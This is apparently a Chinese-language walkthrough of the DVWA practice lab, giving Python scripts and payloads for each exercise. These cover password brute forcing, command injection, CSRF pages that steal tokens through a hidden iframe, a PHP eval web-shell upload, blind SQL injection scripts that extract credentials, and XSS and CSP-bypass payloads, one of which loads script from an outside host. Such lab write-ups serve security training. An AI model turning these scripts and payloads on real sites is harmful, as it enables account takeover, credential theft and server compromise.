一、Brute Force
medium难度py脚本
带用户cookie,爆破就行了,但是他源码有个sleep(2)所以有点慢
import re
import requests
headers = {
'Cookie': 'security=medium; PHPSESSID=b24cer6tg9bidirhe0ebm87ha7',
}
def brute(pw):
url = "http://192.168.116.136/01/vulnerabilities/brute/"
params = {
'username': 'admin',
'password': pw,
'Login': 'Login',
}
req = requests.get(url, params=params, headers=headers)
return req.text
with open('C:/Users/Asus/Desktop/top1000.txt') as p:
pslist = p.readlines()
p.close()
for line in pslist:
line = line.strip("\n")
print("%s......" % line)
result = brute(line)
if not "incorrect" in result:
print("密码是: %s" % line)
break
high难度py脚本
high难度多了个token,具体思路就是先登录,然后在浏览器中获取cookie然后放入脚本的请求头中,get请求获得token,再用这个token登录
import re
import requests
headers = {
'Cookie': 'security=high; PHPSESSID=b24cer6tg9bidirhe0ebm87ha7',
}
def get_token():
url = 'http://192.168.116.136/01/vulnerabilities/brute/'
req = requests.get(url, headers=headers)
return req.text
def brute(pw, user_token):
url = "http://192.168.116.136/01/vulnerabilities/brute/"
params = {
'username': 'admin',
'password': pw,
'Login': 'Login',
'user_token':user_token
}
req = requests.get(url, params=params, headers=headers)
return req.text
with open('C:/Users/Asus/Desktop/top1000.txt') as p:
pslist = p.readlines()
p.close()
for line in pslist:
line = line.strip("\n")
match = re.search(r'value=\'(.+)\'', get_token())
user_token = match.group(1)
result = brute(line, user_token)
print("%s......" % line)
if not "incorrect" in result:
print("密码是: %s" % line)
break
二、Command injection
medium、high
这两难度用 '|' 就ok了,就算是high难度的源码里也只过滤了'| '
POC
import requests
headers = {
"Referer": "http://192.168.116.136/01/vulnerabilities/exec/",
"Cookie": "security=medium; PHPSESSID=td1hlkf4icbvj7qcu23h85rkm0",
}
url = 'http://192.168.116.136/01/vulnerabilities/exec/'
data = {
'ip': '-127.0.0.1|whoami',
'Submit': 'Submit'
}
result = requests.post(url=url, data=data, headers=headers)
print(result.text)
三、CSRF
这个我从low难度开始做
这题考察的是,诱导用户点入连接,修改密码
当用户登录了网站且没退出时候,直接点入这个连接就会被修改代码
http://192.168.116.136/01/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change
但是这个连接太明显了,我们可以使用在线工具,把连接缩短为短链接
https://3mw.cn/04p99
提示修改成功
medium
这题加了对refere的验证,refere里要包含服务器的ip
原本的请求体是这样的
如果用low的方法直接发链接,是过不了这个验证的
所以我们可以把链接写成页面传入服务器,然后把页面名改为网站ip,再在网站中点入页面,就可以修改密码了
#192.168.116.136.html页面代码
<img src="http://192.168.116.136/01/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change"border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
以下是执行192.168.116.136.html的请求体
退出登录发现已经更改成功
high
把这个页面放进去就好
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<script type="text/javascript">
// 获取用户的 token,并设置为表单中的 token,然后提交修改密码的表单
function attack() {
// 获取 iframe 中的页面内的用户 token
document.getElementsByName('user_token')[0].value = document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
// 提交表单
document.getElementById("transfer").submit();
}
</script>
</head>
<body onload="attack()"> <!-- 当页面加载完成时,执行 attack() 函数 -->
<!-- 在隐藏的 iframe 中加载目标网页 -->
<iframe src="http://192.168.10.14/dvwa/vulnerabilities/csrf/" id="hack" style="display:none;">
</iframe>
<!-- 修改密码的表单 -->
<form method="GET" id="transfer" action="http://192.168.10.14/dvwa/vulnerabilities/csrf/">
<!-- 新密码字段 -->
<input type="hidden" name="password_new" value="admin">
<!-- 确认密码字段 -->
<input type="hidden" name="password_conf" value="admin">
<!-- 用户 token 字段,初始为空 -->
<input type="hidden" name="user_token" value="">
<!-- 提交修改密码的操作 -->
<input type="hidden" name="Change" value="Change">
</form>
</body>
</html>
POC
import requests
import re
headers = {
'Cookie': 'security=high; PHPSESSID=td1hlkf4icbvj7qcu23h85rkm0',
'Referer': 'http://192.168.116.136/01/vulnerabilities/csrf/'
}
url = 'http://192.168.116.136/01/vulnerabilities/csrf/'
result = requests.get(url=url, headers=headers)
print(result.text)
token = re.findall(r'value=\'(.+)\'', result.text)
user_token = token[0]
params = {
'password_new': '13579',
'password_conf': '13579',
'Change': 'Change',
'user_token': user_token
}
result = requests.get(url=url, params=params, headers=headers)
if 'Password Changed' in result.text:
print("密码修改成功")
else:
print("密码修改失败")
四、File Upload
medium
上传1.jpg,然后抓包,修改后缀为php就绕过了
然后拿蚁剑连
poc
import requests
url = 'http://192.168.116.136/01/vulnerabilities/upload/'
files = {
'MAX_FILE_SIZE': (None, '100000'),
'uploaded': ('1.php', '<?php phpinfo();eval($_POST[\'cmd\']);?>', 'image/jpeg')
}
data = {
'Upload': 'Upload'
}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36',
'Referer': 'http://192.168.116.136/01/vulnerabilities/upload/',
'Cookie': 'security=medium; PHPSESSID=td1hlkf4icbvj7qcu23h85rkm0',
}
response = requests.post(url, files=files, data=data, headers=headers)
print(response.text)
high
../../hackable/uploads/shell.jpg
然后切换到命令执行页面,输入以下命令
127.0.0.1|mv ../../hackable/uploads/shell.jpg ../../hackable/uploads/shell.php重命名shell.jpg
拿下
五、SQL Injection
medium
这题在' ' '前面加了'/'别加'就好了
poc
import requests
url = 'http://192.168.116.136/01/vulnerabilities/sqli/'
data = {
'id': '1 union select 1,2#',
'Submit': 'Submit'
}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36',
'Referer': 'http://192.168.116.136/01/vulnerabilities/sqli/',
'Cookie': 'security=medium; PHPSESSID=td1hlkf4icbvj7qcu23h85rkm0',
}
response = requests.post(url, data=data, headers=headers)
print(response.text)
high
嗯...
六、SQL Injection Blind
low:
前面的过程不写了,思路是一样的,把密码爆破出来就行
import requests
url = 'http://192.168.116.136/01/vulnerabilities/sqli_blind/'
headers = {
'Cookie': 'security=low; PHPSESSID=0nqil1f2nhrgvmngm299r0i2v5',
}
def sqlblind(num, s):
params = {
"id": "1' and if (substring((select CONCAT(user,0x3a,PASSWORD) from users limit 1)," + str(num) + ",1)=" + "'" + s + "'" + ",1,0)#",
"Submit": "Submit",
}
result = requests.get(url=url, params=params, headers=headers)
if 'ID exists in the database' in result.text:
return s
with open('C:/Users/Asus/Desktop/1.txt') as p:
lines = p.readlines()
p.close()
password = ""
for i in range(1, 100):
for line in lines:
line = line.strip("\n")
s = sqlblind(i, line)
if s:
password += s
break
print("账号密码为:", password)
medium:
这个比起low多了两个点
1.要抓包改包
2.多了个引号过滤,绕过的话就是把字符改为16进制的
以下是poc
import requests
url = 'http://192.168.116.136/01/vulnerabilities/sqli_blind/'
headers = {
'Cookie': 'security=medium; PHPSESSID=70sqp6r48gs4q2114o09921755',
'Referer': 'http://192.168.116.136/01/vulnerabilities/sqli_blind/'
}
def sqlblind(num, s):
data = {
"id": "1 and if (substring((select CONCAT(user,0x3a,PASSWORD) from users limit 1)," + str(num) + ",1)=" + s + ",1,0)#",
"Submit": "Submit",
}
result = requests.post(url=url, data=data, headers=headers)
if 'ID exists in the database' in result.text:
s = chr(int(s, 16))
return s
with open('C:/Users/Asus/Desktop/1.txt') as p:
lines = p.readlines()
p.close()
password = ""
for i in range(1, 100):
for line in lines:
line = line.strip("\n")
line_hex = hex(ord(line))
s = sqlblind(i, line_hex)
if s:
password += s
break
print("账号密码为:", password)
high
这题有点滑头,是这样的,输入的时候会弹出一个框嘛,然后查看发出的请求就会发现,在弹出框中输入的注入语句会传到原本网页的cookie中,再传入。那我们直接修改原本网页请求的cookie就好了。
poc
import requests
import threading
url = 'http://192.168.116.136/01/vulnerabilities/sqli_blind/'
def sqlblind(num, s):
headers = {
"Cookie": f"id=1' and if (substring((select CONCAT(user,0x3a,PASSWORD) from users limit 1),{num},1)='{s}',1,0)#;security=high; PHPSESSID=70sqp6r48gs4q2114o09921755",
"Referer": "http://192.168.116.136/01/vulnerabilities/sqli_blind/"
}
result = requests.get(url=url, headers=headers)
if 'ID exists in the database' in result.text:
print(s)
return s
def process_lines(lines, start, end):
password = ""
for i in range(start, end):
for line in lines:
line = line.strip("\n")
s = sqlblind(i, line)
if s:
password += s
break
print("账号密码为:", password)
with open('C:/Users/Asus/Desktop/1.txt') as p:
lines = p.readlines()
p.close()
num_lines = len(lines)
num_threads = 10 # 设置线程数
threads = []
for i in range(num_threads):
start = i * (num_lines // num_threads)
end = (i + 1) * (num_lines // num_threads)
thread = threading.Thread(target=process_lines, args=(lines, start, end))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
有点慢
七、XSS (DOM)
medium:
源码分析
后端仅仅过滤了"<script"标签,不能说是铜墙铁壁吧,只能说是聊胜于无
以各种构造方法绕过:
</option></select><a href="javascript:alert(/xss/)">touch me</a> //利用a标签的javascript:伪协议
<input type="text" onkeydown="alert(/xss/)"> //单行文本框的键盘点击事件,当点击键盘任一按键时触发XSS
</option></select><img src='C:/Users/Asus/Pictures/金智媛/jzy 7.jpg' onmouseover='alert(/xss/)'>
</option></select><img src='./smile.jpg' onerror='alert(/xss/)'> //onerror会在文档载入失败时触发XSS,比如下一个语句
</option></select><img src='#' onerror='alert(/xss/)'> //与上一个语句相比,将文件路径改成#,一定载入失败,触发XSS
<input type="text" onkeyup="alert(/xss/)">
<input type="button" onclick="alert(/xss/)">
利用一些比较新的前端标签进行构造:
</option></select><svg onload="alert(/xss/)">
high:
源码分析:
是一个白名单
为了绕过这个白名单,我们在构造的xss语句前面加上English #
这样,传到后端的defult的值就是English,而xss语句也可以在前端执行
八、XSS(reflected)
medium:
源码分析:
str_replace这函数是区分大小写的
所以双写绕过和大小写绕过都能成功
</textarea>'"><scr<script>ipt src=http://www.xssme.com/nv11dZ?1712286739></script>
</textarea>'"><sCripT src=http://www.xssme.com/nv11dZ?1712286739></scrIpt>
high:
源码分析:
绕过不了了
我们换构造方式
</option></select><img src='#' onerror='alert(/xss/)'>
九、XSS(stored)
medium:
源码分析:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// 当用户点击提交按钮时执行以下代码
// 获取表单输入的留言和姓名
$message = trim( $_POST[ 'mtxMessage' ] ); // 获取留言内容
$name = trim( $_POST[ 'txtName' ] ); // 获取用户姓名
// 对留言内容进行过滤和处理,防止XSS攻击和SQL注入
// 1. 清理留言内容
$message = strip_tags( addslashes( $message ) ); // 去除HTML标签并添加反斜杠,防止SQL注入
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 对特殊字符进行转义,防止SQL注入
$message = htmlspecialchars( $message ); // 将特殊字符转换为HTML实体,防止XSS攻击
// 2. 清理姓名
$name = str_replace( '<script>', '', $name ); // 清除可能包含的<script>标签,防止XSS攻击
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 对特殊字符进行转义,防止SQL注入
// 将处理后的留言信息插入到数据库中
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; // 构造插入数据库的SQL语句
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 执行SQL语句,将留言信息插入到数据库中,并在出错时输出错误信息
// 关闭数据库连接(此处的注释掉的语句是一个关闭数据库连接的示例)
//mysql_close();
}
?>
这里可以看到message参数已经没什么机会了,我们换name参数绕过应该可行
绕过字数限制
high:
源码分析:
<?php
// 检查是否有提交按钮被点击
if( isset( $_POST[ 'btnSign' ] ) ) {
// 获取输入内容
$message = trim( $_POST[ 'mtxMessage' ] ); // 获取评论信息
$name = trim( $_POST[ 'txtName' ] ); // 获取用户名
// 清理评论信息
$message = strip_tags( addslashes( $message ) ); // 移除 HTML 标签,并添加反斜杠转义特殊字符
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 防止 SQL 注入
$message = htmlspecialchars( $message ); // 转义特殊字符,防止 XSS 攻击
// 清理用户名
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); // 移除可能的 JavaScript 代码
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 防止 SQL 注入
// 更新数据库
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; // 构造 SQL 查询语句
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 执行 SQL 查询,如果失败则输出错误信息
//mysql_close(); // 可能是错误的关闭数据库连接的方式,建议注释掉,除非你确信这是正确的关闭方式
}
?>
换种构造方式
成功
十、CSP Bypass
内容安全策略(Content Security Policy,CSP)可以通过指定不同的指令和值来配置,以控制网页的加载和执行行为。以下是 CSP 中常用的一些指令和元素:
- default-src:定义默认允许加载资源的来源,如果没有指定其他源,则将使用默认值。
- script-src:控制可以执行的 JavaScript 脚本的来源。
- style-src:控制可以加载的 CSS 样式表的来源。
- img-src:定义允许加载图像的来源。
- font-src:控制可以加载字体文件的来源。
- connect-src:指定允许进行 XHR、WebSocket 或者 EventSource 连接的来源。
- frame-src:定义允许加载的嵌入框架的来源。
- object-src:控制可以加载的插件(如 Flash)和嵌入式对象的来源。
- media-src:指定允许加载音频和视频的来源。
- child-src:用于控制通过 <frame>、<iframe>、<embed> 或 <object> 元素加载的资源的来源。
- form-action:定义允许提交表单的地址。
- frame-ancestors:控制页面可以嵌套的父级框架的来源。
- report-uri:指定一个 URL,用于接收 CSP 违规报告。
low:
源码分析
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;";
//script-src 指令用于指定允许加载 JavaScript 的来源。也就是开白名单
查看: https://pastebin.com发现是一个可以上传文本的网站
复制这个链接放入靶场就能成功了
medium:
源码分析:
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
#主要是这一段,'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=',unsafe-inline 是 CSP 中的一个指令值,用于指定允许在 HTML 中使用内联脚本和样式的来源。
所以,按照这个我们输入,插入这个script脚本
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert('xss');</script>
high:
源码分析:
$headerCSP = "Content-Security-Policy: script-src 'self';";
这里除了自身,其余的外部资源全部过滤了
但是代码没有过滤可以直接在代码里修改:
修改为xss注入语句,成功